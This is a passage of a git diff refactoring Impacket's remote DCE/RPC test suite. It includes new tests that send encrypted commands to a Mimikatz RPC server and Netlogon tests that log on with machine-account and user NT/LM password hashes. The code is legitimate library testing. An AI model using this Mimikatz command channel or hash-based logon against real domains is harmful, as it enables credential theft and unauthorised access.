mgmt.hinq_stats(dce) + resp.dump() + + def test_is_server_listening(self): + dce, transport = self.connect() + + request = mgmt.is_server_listening() + resp = dce.request(request, checkError=False) + resp.dump() + + def test_his_server_listening(self): + dce, transport = self.connect() + + resp = mgmt.his_server_listening(dce) + resp.dump() + + def test_stop_server_listening(self): + dce, transport = self.connect() + + request = mgmt.stop_server_listening() + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) + + def test_hstop_server_listening(self): + dce, transport = self.connect() + + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + mgmt.hstop_server_listening(dce) + + def test_inq_princ_name(self): + dce, transport = self.connect() + + request = mgmt.inq_princ_name() + request['authn_proto'] = 0 + request['princ_name_size'] = 32 + resp = dce.request(request, checkError=False) + resp.dump() + + def test_hinq_princ_name(self): + dce, transport = self.connect() + + resp = mgmt.hinq_princ_name(dce) + resp.dump() + + +@pytest.mark.remote +class MGMTTestsSMBTransport(MGMTTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class MGMTTestsSMBTransport64(MGMTTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class MGMTTestsTCPTransport(MGMTTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + string_binding = r"ncacn_ip_tcp:{0.machine}[135]" + + +@pytest.mark.remote +class MGMTTestsTCPTransport64(MGMTTests, unittest.TestCase): + string_binding = r"ncacn_ip_tcp:{0.machine}[135]" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_mimilib.py b/tests/dcerpc/test_mimilib.py new file mode 100644 index 0000000000..70761ce3a8 --- /dev/null +++ b/tests/dcerpc/test_mimilib.py @@ -0,0 +1,147 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)MimiBind +# (h)MimiCommand +# MimiUnBind +# +import pytest +import unittest +from tests.dcerpc import DCERPCTests + +from Cryptodome.Cipher import ARC4 + +from impacket.dcerpc.v5 import mimilib +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +@pytest.mark.remote +class MimiKatzTests(DCERPCTests, unittest.TestCase): + timeout = 30000 + iface_uuid = mimilib.MSRPC_UUID_MIMIKATZ + protocol = "ncacn_ip_tcp" + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + mimikatz_command = "token::whoami" + + def get_dh_public_key(self): + dh = mimilib.MimiDiffeH() + blob = mimilib.PUBLICKEYBLOB() + blob['y'] = dh.genPublicKey()[::-1] + public_key = mimilib.MIMI_PUBLICKEY() + public_key['sessionType'] = mimilib.CALG_RC4 + public_key['cbPublicKey'] = 144 + public_key['pbPublicKey'] = blob.getData() + return dh, public_key + + def get_handle_key(self, dce): + # Build handshake request + dh, public_key = self.get_dh_public_key() + resp = mimilib.hMimiBind(dce, public_key) + # Get shared secret and obtain handle + blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) + key = dh.getSharedSecret(blob['y'][::-1]) + pHandle = resp['phMimi'] + return pHandle, key[-16:] + + def test_MimiBind(self): + dce, rpc_transport = self.connect() + dh, public_key = self.get_dh_public_key() + + request = mimilib.MimiBind() + request['clientPublicKey'] = public_key + # Send request and get response + resp = dce.request(request) + self.assertEqual(resp["ErrorCode"], 0) + self.assertEqual(resp["serverPublicKey"]["sessionType"], mimilib.CALG_RC4) + + # Get shared secret and obtain handle + blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) + key = dh.getSharedSecret(blob['y'][::-1]) + pHandle = resp['phMimi'] + self.assertIsInstance(pHandle, bytes) + self.assertIsInstance(key, bytes) + + dce.disconnect() + rpc_transport.disconnect() + + def test_hMimiBind(self): + dce, rpc_transport = self.connect() + dh, public_key = self.get_dh_public_key() + + resp = mimilib.hMimiBind(dce, public_key) + self.assertEqual(resp["ErrorCode"], 0) + self.assertEqual(resp["serverPublicKey"]["sessionType"], mimilib.CALG_RC4) + + dce.disconnect() + rpc_transport.disconnect() + + def test_MimiCommand(self): + dce, rpc_transport = self.connect() + pHandle, key = self.get_handle_key(dce) + + cipher = ARC4.new(key[::-1]) + command = cipher.encrypt("{}\x00".format(self.mimikatz_command).encode('utf-16le')) + request = mimilib.MimiCommand() + request['phMimi'] = pHandle + request['szEncCommand'] = len(command) + request['encCommand'] = list(command) + + resp = dce.request(request) + self.assertEqual(resp["ErrorCode"], 0) + self.assertEqual(len(resp["encResult"]), resp["szEncResult"]) + + cipherText = b''.join(resp['encResult']) + cipher = ARC4.new(key[::-1]) + plain = cipher.decrypt(cipherText) + + dce.disconnect() + rpc_transport.disconnect() + + def test_hMimiCommand(self): + dce, rpc_transport = self.connect() + pHandle, key = self.get_handle_key(dce) + + cipher = ARC4.new(key[::-1]) + command = cipher.encrypt("{}\x00".format(self.mimikatz_command).encode('utf-16le')) + resp = mimilib.hMimiCommand(dce, pHandle, command) + self.assertEqual(resp["ErrorCode"], 0) + self.assertEqual(len(resp["encResult"]), resp["szEncResult"]) + + dce.disconnect() + rpc_transport.disconnect() + + def test_MimiUnBind(self): + dce, rpc_transport = self.connect() + pHandle, key = self.get_handle_key(dce) + + request = mimilib.MimiUnbind() + request['phMimi'] = pHandle + + resp = dce.request(request) + self.assertEqual(resp["ErrorCode"], 0) + + dce.disconnect() + rpc_transport.disconnect() + + +class MimiKatzTestsAuthn(MimiKatzTests): + authn = True + + +class MimiKatzTestsIntegrity(MimiKatzTestsAuthn): + authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + + +class MimiKatzTestsPrivacy(MimiKatzTestsAuthn): + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_nrpc.py b/tests/dcerpc/test_nrpc.py similarity index 64% rename from tests/SMB_RPC/test_nrpc.py rename to tests/dcerpc/test_nrpc.py index d9eaaf2a87..e99aa6c224 100644 --- a/tests/SMB_RPC/test_nrpc.py +++ b/tests/dcerpc/test_nrpc.py @@ -1,107 +1,98 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# DsrGetDcNameEx2 -# DsrGetDcNameEx -# DsrGetDcName -# NetrGetDCName -# NetrGetAnyDCName -# DsrGetSiteName -# DsrGetDcSiteCoverageW -# DsrAddressToSiteNamesW -# DsrAddressToSiteNamesExW -# DsrDeregisterDnsHostRecords -# NetrServerReqChallenge -# NetrServerAuthenticate3 -# NetrServerAuthenticate2 -# NetrServerAuthenticate -# NetrServerTrustPasswordsGet -# NetrLogonGetCapabilities -# NetrDatabaseDeltas -# NetrDatabaseSync2 -# NetrDatabaseSync -# DsrEnumerateDomainTrusts -# NetrEnumerateTrustedDomainsEx -# NetrEnumerateTrustedDomains -# NetrGetForestTrustInformation -# DsrGetForestTrustInformation -# NetrServerGetTrustInfo -# NetrLogonGetTrustRid -# NetrLogonComputeServerDigest -# NetrLogonComputeClientDigest -# NetrLogonSendToSam -# NetrLogonSetServiceBits -# NetrLogonGetTimeServiceParentDomain -# NetrLogonControl2Ex -# NetrLogonControl2 -# NetrLogonControl -# NetrLogonUasLogon -# NetrLogonGetDomainInfo -# NetrServerPasswordSet2 +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: -# -# DSRUpdateReadOnlyServerDnsRecords -# NetrServerPasswordGet -# NetrLogonSamLogonEx -# NetrLogonSamLogonWithFlags -# NetrLogonSamLogon -# NetrLogonSamLogoff -# NetrDatabaseRedo -# -# Shouldn't dump errors against a win7 +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -################################################################################ - +# Tested so far: +# (h)DsrGetDcNameEx2 +# (h)DsrGetDcNameEx +# (h)DsrGetDcName +# (h)NetrGetDCName +# (h)NetrGetAnyDCName +# (h)DsrGetSiteName +# (h)DsrGetDcSiteCoverageW +# (h)DsrAddressToSiteNamesW +# DsrAddressToSiteNamesExW +# DsrDeregisterDnsHostRecords +# (h)NetrServerReqChallenge +# (h)NetrServerAuthenticate3 +# (h)NetrServerAuthenticate2 +# (h)NetrServerAuthenticate +# (h)NetrServerPasswordGet +# (h)NetrServerTrustPasswordsGet +# (h)NetrServerPasswordSet2 +# (h)NetrLogonGetDomainInfo +# (h)NetrLogonGetCapabilities +# NetrLogonSamLogonEx +# NetrLogonSamLogonWithFlags +# NetrLogonSamLogon +# NetrDatabaseDeltas +# NetrDatabaseSync2 +# NetrDatabaseSync +# NetrDatabaseRedo +# DsrEnumerateDomainTrusts +# NetrEnumerateTrustedDomainsEx +# NetrEnumerateTrustedDomains +# NetrGetForestTrustInformation +# DsrGetForestTrustInformation +# (h)NetrServerGetTrustInfo +# NetrLogonGetTrustRid +# NetrLogonComputeServerDigest +# NetrLogonComputeClientDigest +# NetrLogonSendToSam +# NetrLogonSetServiceBits +# NetrLogonGetTimeServiceParentDomain +# NetrLogonControl2Ex +# NetrLogonControl2 +# NetrLogonControl +# NetrLogonUasLogon +# NetrLogonUasLogoff +# +# Not yet: +# NetrLogonSamLogoff +# NetrServerPasswordSet +# NetrAccountDeltas +# NetrAccountSync +# DSRUpdateReadOnlyServerDnsRecords +# NetrChainSetClientAttributes +# +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser from struct import pack, unpack -from binascii import unhexlify +from tests.dcerpc import DCERPCTests +from six import assertRaisesRegex -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import epm, nrpc +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.dtypes import NULL from impacket import ntlm -class NRPCTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.machineUserHashes) > 0: - lmhash, nthash = self.machineUserHashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.machineUser, '', self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(nrpc.MSRPC_UUID_NRPC) +class NRPCTests(DCERPCTests): + iface_uuid = nrpc.MSRPC_UUID_NRPC + authn = True + machine_account = True + + def authenticate(self, dce): resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] - if self.machineUserHashes == '': - ntHash = None - else: - ntHash = unhexlify(self.machineUserHashes.split(':')[1]) - - self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) + bnthash = self.machine_user_bnthash or None + self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, bnthash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey) try: - resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.machineUser + '\x00', + resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.machine_user + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName + '\x00', ppp, 0x600FFFFF) resp.dump() - except Exception as e: - if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: + except nrpc.DCERPCSessionError as e: + if str(e).find("STATUS_DOWNGRADE_DETECTED") < 0: raise self.clientStoredCredential = pack(' 0: - lmhash, nthash = self.hashes.split(':') - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) + if len(self.hashes): + blmhash = self.blmhash + bnthash = self.bnthash else: - lmhash = ntlm.LMOWFv1(self.password) - nthash = ntlm.NTOWFv1(self.password) + blmhash = ntlm.LMOWFv1(self.password) + bnthash = ntlm.NTOWFv1(self.password) try: from Cryptodome.Cipher import ARC4 except Exception: @@ -626,40 +565,35 @@ def test_NetrLogonSamLogonEx(self): print("See https://pypi.org/project/pycryptodomex/") rc4 = ARC4.new(self.sessionKey) - lmhash = rc4.encrypt(lmhash) + blmhash = rc4.encrypt(blmhash) rc4 = ARC4.new(self.sessionKey) - nthash = rc4.encrypt(nthash) + bnthash = rc4.encrypt(bnthash) - request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash - request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash + request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash + request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request['ExtraFlags'] = 1 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INTERNAL_ERROR') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_INTERNAL_ERROR"): + dce.request(request) def test_NetrLogonSamLogonWithFlags(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = self.serverName + '\x00' request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain - request['LogonInformation']['LogonInteractive']['Identity'][ - 'ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11 + request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11 request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = '' - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) + if len(self.hashes): + blmhash = self.blmhash + bnthash = self.bnthash else: - lmhash = ntlm.LMOWFv1(self.password) - nthash = ntlm.NTOWFv1(self.password) + blmhash = ntlm.LMOWFv1(self.password) + bnthash = ntlm.NTOWFv1(self.password) try: from Cryptodome.Cipher import ARC4 @@ -668,26 +602,23 @@ def test_NetrLogonSamLogonWithFlags(self): print("See https://pypi.org/project/pycryptodomex/") rc4 = ARC4.new(self.sessionKey) - lmhash = rc4.encrypt(lmhash) + blmhash = rc4.encrypt(blmhash) rc4 = ARC4.new(self.sessionKey) - nthash = rc4.encrypt(nthash) + bnthash = rc4.encrypt(bnthash) - request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash - request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash + request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash + request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request['Authenticator'] = self.update_authenticator() request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_USER') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NO_SUCH_USER"): + dce.request(request) def test_NetrLogonSamLogon(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrLogonSamLogon() request['LogonServer'] = '\x00' request['ComputerName'] = self.serverName + '\x00' @@ -697,13 +628,12 @@ def test_NetrLogonSamLogon(self): request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = '' - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) + if len(self.hashes): + blmhash = self.blmhash + bnthash = self.bnthash else: - lmhash = ntlm.LMOWFv1(self.password) - nthash = ntlm.NTOWFv1(self.password) + blmhash = ntlm.LMOWFv1(self.password) + bnthash = ntlm.NTOWFv1(self.password) try: from Cryptodome.Cipher import ARC4 @@ -712,25 +642,22 @@ def test_NetrLogonSamLogon(self): print("See http://www.pycrypto.org/") rc4 = ARC4.new(self.sessionKey) - lmhash = rc4.encrypt(lmhash) + blmhash = rc4.encrypt(blmhash) rc4 = ARC4.new(self.sessionKey) - nthash = rc4.encrypt(nthash) + bnthash = rc4.encrypt(bnthash) - request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash - request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash + request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash + request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2 request['Authenticator'] = self.update_authenticator() request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_USER') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NO_SUCH_USER"): + dce.request(request) def test_NetrDatabaseDeltas(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrDatabaseDeltas() request['PrimaryName'] = '\x00' * 20 request['ComputerName'] = self.serverName + '\x00' @@ -740,15 +667,12 @@ def test_NetrDatabaseDeltas(self): request['DatabaseID'] = 0 # request['DomainModifiedCount'] = 1 request['PreferredMaximumLength'] = 0xffffffff - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_NetrDatabaseSync2(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrDatabaseSync2() request['PrimaryName'] = '\x00' * 20 request['ComputerName'] = self.serverName + '\x00' @@ -759,15 +683,12 @@ def test_NetrDatabaseSync2(self): request['RestartState'] = nrpc.SYNC_STATE.NormalState request['SyncContext'] = 0 request['PreferredMaximumLength'] = 0xffffffff - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_NetrDatabaseSync(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrDatabaseSync() request['PrimaryName'] = '\x00' * 20 request['ComputerName'] = self.serverName + '\x00' @@ -777,15 +698,12 @@ def test_NetrDatabaseSync(self): request['DatabaseID'] = 0 request['SyncContext'] = 0 request['PreferredMaximumLength'] = 0xffffffff - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) - def te_NetrDatabaseRedo(self): + def test_NetrDatabaseRedo(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrDatabaseRedo() request['PrimaryName'] = '\x00' * 20 request['ComputerName'] = self.serverName + '\x00' @@ -794,49 +712,35 @@ def te_NetrDatabaseRedo(self): request['ReturnAuthenticator']['Timestamp'] = 0 request['ChangeLogEntry'] = 0 request['ChangeLogEntrySize'] = 0 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_DsrEnumerateDomainTrusts(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.DsrEnumerateDomainTrusts() request['ServerName'] = NULL request['Flags'] = 1 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_NetrEnumerateTrustedDomainsEx(self): dce, rpctransport = self.connect() request = nrpc.NetrEnumerateTrustedDomainsEx() request['ServerName'] = NULL - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_NetrEnumerateTrustedDomains(self): dce, rpctransport = self.connect() request = nrpc.NetrEnumerateTrustedDomains() request['ServerName'] = NULL - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_SUPPORTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_SUPPORTED"): + dce.request(request) def test_NetrGetForestTrustInformation(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrGetForestTrustInformation() request['ServerName'] = NULL request['ComputerName'] = self.serverName + '\x00' @@ -844,63 +748,46 @@ def test_NetrGetForestTrustInformation(self): request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['Flags'] = 0 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NOT_IMPLEMENTED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_NOT_IMPLEMENTED"): + dce.request(request) def test_DsrGetForestTrustInformation(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.DsrGetForestTrustInformation() request['ServerName'] = NULL request['TrustedDomainName'] = self.domain + '\x00' request['Flags'] = 0 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0 and str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "ERROR_NO_SUCH_DOMAIN|rpc_s_access_denied"): + dce.request(request) def test_NetrServerGetTrustInfo(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrServerGetTrustInfo() request['TrustedDcName'] = NULL - request['AccountName'] = self.machineUser + '\x00' + request['AccountName'] = self.machine_user + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.serverName + '\x00' request['Authenticator'] = self.update_authenticator() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "ERROR_NO_SUCH_DOMAIN"): + dce.request(request) def test_hNetrServerGetTrustInfo(self): dce, rpctransport = self.connect() - try: - resp = nrpc.hNetrServerGetTrustInfo(dce, NULL, self.machineUser, - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, - self.serverName, self.update_authenticator()) - resp.dump() - except Exception as e: - if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0: - raise + self.authenticate(dce) + with assertRaisesRegex(self, DCERPCException, "ERROR_NO_SUCH_DOMAIN"): + nrpc.hNetrServerGetTrustInfo(dce, NULL, self.machine_user, + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, + self.serverName, self.update_authenticator()) def test_NetrLogonGetTrustRid(self): dce, rpctransport = self.connect() request = nrpc.NetrLogonGetTrustRid() request['ServerName'] = NULL request['DomainName'] = self.domain + '\x00' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonComputeServerDigest(self): dce, rpctransport = self.connect() @@ -909,12 +796,8 @@ def test_NetrLogonComputeServerDigest(self): request['Rid'] = 1001 request['Message'] = b'HOLABETOCOMOANDAS\x00' request['MessageSize'] = len(b'HOLABETOCOMOANDAS\x00') - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonComputeClientDigest(self): dce, rpctransport = self.connect() @@ -922,28 +805,21 @@ def test_NetrLogonComputeClientDigest(self): request['ServerName'] = NULL request['DomainName'] = self.domain + '\x00' request['Message'] = b'HOLABETOCOMOANDAS\x00' - request['MessageSize'] = len(b'HOLABETOCOMOANDAS\x00') - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + request['MessageSize'] = len(request['Message']) + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonSendToSam(self): dce, rpctransport = self.connect() + self.authenticate(dce) request = nrpc.NetrLogonSendToSam() request['PrimaryName'] = NULL request['ComputerName'] = self.serverName + '\x00' request['Authenticator'] = self.update_authenticator() request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_ACCESS_DENIED') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"): + dce.request(request) def test_NetrLogonSetServiceBits(self): dce, rpctransport = self.connect() @@ -951,23 +827,16 @@ def test_NetrLogonSetServiceBits(self): request['ServerName'] = NULL request['ServiceBitsOfInterest'] = 1 << 7 request['ServiceBits'] = 1 << 7 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) - def te_NetrLogonGetTimeServiceParentDomain(self): + #@pytest.mark.xfail + def test_NetrLogonGetTimeServiceParentDomain(self): dce, rpctransport = self.connect() request = nrpc.NetrLogonGetTimeServiceParentDomain() request['ServerName'] = self.domain + '\x00' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonControl2Ex(self): dce, rpctransport = self.connect() @@ -977,13 +846,8 @@ def test_NetrLogonControl2Ex(self): request['QueryLevel'] = 4 request['Data']['tag'] = 8 request['Data']['UserName'] = 'normaluser7\x00' - - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonControl2(self): dce, rpctransport = self.connect() @@ -994,12 +858,8 @@ def test_NetrLogonControl2(self): request['Data']['tag'] = 8 request['Data']['UserName'] = 'normaluser7\x00' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonControl(self): dce, rpctransport = self.connect() @@ -1009,12 +869,8 @@ def test_NetrLogonControl(self): request['QueryLevel'] = 4 request['Data']['tag'] = 65534 request['Data']['DebugFlag'] = 1 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('ERROR_INVALID_LEVEL') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "ERROR_INVALID_LEVEL"): + dce.request(request) def test_NetrLogonUasLogon(self): dce, rpctransport = self.connect() @@ -1022,12 +878,8 @@ def test_NetrLogonUasLogon(self): request['ServerName'] = NULL request['UserName'] = 'normaluser7\x00' request['Workstation'] = self.serverName + '\x00' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) def test_NetrLogonUasLogoff(self): dce, rpctransport = self.connect() @@ -1035,55 +887,22 @@ def test_NetrLogonUasLogoff(self): request['ServerName'] = NULL request['UserName'] = 'normaluser7\x00' request['Workstation'] = self.serverName + '\x00' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise + with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): + dce.request(request) + + +@pytest.mark.remote +class NRPCTestsSMBTransport(NRPCTests, unittest.TestCase): + string_binding = r"ncacn_np:{0.machine}[\PIPE\netlogon]" + string_binding_formatting = DCERPCTests.STRING_BINDING_FORMATTING -class TCPTransport(NRPCTests): - def setUp(self): - NRPCTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.machineUser = configFile.get('TCPTransport', 'machineuser') - self.machineUserHashes = configFile.get('TCPTransport', 'machineuserhashes') - # print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - self.stringBinding = epm.hept_map(self.machine, 